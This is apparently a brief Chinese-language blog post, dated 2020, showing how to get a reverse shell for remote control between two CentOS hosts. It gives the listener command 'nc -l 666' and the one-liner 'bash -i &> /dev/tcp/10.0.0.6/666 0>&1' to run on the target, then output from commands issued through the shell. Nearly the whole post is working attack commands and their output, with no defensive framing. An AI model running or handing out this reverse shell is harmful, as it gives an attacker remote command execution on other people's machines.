返回顶部

nc 反弹shell实现远程控制

 

[root@centos6 ~]#nc -l 666    #先开个终端

 

[root@centos8  ~]#bash -i &> /dev/tcp/10.0.0.6/666 0>&1  #在对方主机执行命令

 

#[root@centos8  ~]#hostname -I    #可在对方主机上执行命令

hostname -I

10.0.0.8 192.168.122.1

#[root@centos8  ~]#uname -r     

uname -r

4.18.0-147.el8.x86_64

 

posted @ 2020-08-20 09:41  九尾cat  阅读(319)  评论(0编辑  收藏  举报